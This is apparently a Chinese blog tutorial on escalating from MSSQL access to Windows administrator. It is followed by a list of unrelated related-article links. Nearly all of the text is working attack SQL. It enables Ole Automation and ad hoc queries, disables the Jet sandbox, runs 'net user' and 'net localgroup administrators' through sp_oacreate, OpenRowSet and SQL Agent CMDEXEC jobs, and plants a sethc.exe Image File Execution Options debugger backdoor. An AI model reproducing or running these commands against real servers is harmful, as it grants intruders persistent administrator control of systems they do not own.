如何进行MSSQL提权?sp_oacreate、sp_oamethod和沙盒提权以及xp_regwrighte提权

1、sp_oacreate、sp_oamethod提权

1、开启sp-oascreate

执行下面的语句

注意:2005默认是禁用的。2000默认开启。(可以同时执行)

execsp_configure'show advanced options',1;

RECONFIGURE;

execsp_configure'Ole Automation Procedures',1;

RECONFIGURE;

2、创建账户

开启sp-ascreate之后,创建账户(语句可以同时同时执行)

declare**@cmd**INT;

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

先检测命令是否无误

直接执行命令

2、沙盒提权

1、开启Ad Hoc Distributed

exec sp_configure'show advanced options',1

reconfigure

exec sp_configure'Ad Hoc Distributed Queries',1

reconfigure

2、关掉沙盒模式

EXECmaster .dbo .xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

3、添加账号

Select* FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

验证账号是否创建成功

4、加入管理员组

Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

3、JOB提权

1、启动sqlagent服务

execmaster .dbo .xp_servicecontrol'start','SQLSERVERAGENT'

2、创建任务

USE msdb

GO

-- 首先检查并删除已存在的作业(如果存在)

IF EXISTS (SELECT 1 FROM msdb.dbo.sysjobs WHERE name = 'x')

BEGIN

EXEC sp_delete_job @job_name = 'x'

END

GO

-- 创建新作业

EXEC sp_add_job

@job_name = 'x',

@enabled = 1

GO

-- 添加作业步骤 - 使用正确的子系统名称

EXEC sp_add_jobstep

@job_name = 'x',

@step_name = 'Step1',

@subsystem = 'CMDEXEC', -- 修正为正确的子系统名称

@command = 'cmd /c "net user hack hack /add & net user hack1 hack1 /add & net localgroup administrators hack1 /add > c:\q.txt"',

@on_success_action = 1

GO

-- 将作业附加到服务器

EXEC sp_add_jobserver

@job_name = 'x'

GO

-- 启动作业

EXEC sp_start_job @job_name = 'x'

GO

创建成功,并成功加入管理员组

4、xp_regwrighte提权(留后门)

1、利用regwrite函数修改注册表

EXEC master..xp_regwrite

@rootkey = 'HKEY_LOCAL_MACHINE',

@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',

@value_name = 'Debugger',

@type = 'REG_SZ',

@value = 'c:\windows\system32\cmd.exe'

2、检查劫持是否成功

master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

如果这里没有成功,手动创建

上面图片按照这个路径往下点

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

新建一个项,名字叫sethc.exe

选择字符串

内容为这个

远程连接开启

出现这个,选择否,图中箭头标错了

执行这个命令会弹出桌面explorer.exe

这样就直接进入别人桌面

至此,这种方式提权成功

相关推荐
tgethe几秒前
mysql-索引详解
数据库·mysql
一个天蝎座 白勺 程序猿2 分钟前
Apache IoTDB(11):分段聚合深度解析——从原理到实战的完整指南
数据库·apache·iotdb
Java Fans6 分钟前
PyQt实现SQLite数据库操作案例详解
数据库·sqlite·pyqt
子夜江寒6 分钟前
MySQL 学习
数据库·mysql
SAP小崔说事儿14 分钟前
SAP B1 库龄分析报表(SQL版本&非批次管理)
数据库·sql·sap·sap b1·business one·批次管理·库龄分析
不穿格子的程序员15 分钟前
Redis篇7——Redis深度剖析:主从数据同步原理与实践优化
数据库·redis·缓存·数据同步
廋到被风吹走24 分钟前
【数据库】【Redis】监控与告警体系构建
数据库·redis·缓存
老华带你飞26 分钟前
个人网盘管理|基于springboot + vue个人网盘管理系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端
代码or搬砖26 分钟前
悲观锁讲解
开发语言·数据库
soft200152526 分钟前
MySQL Buffer Pool深度解析:冷热数据分离下的LRU链表工作机制
数据库·mysql·链表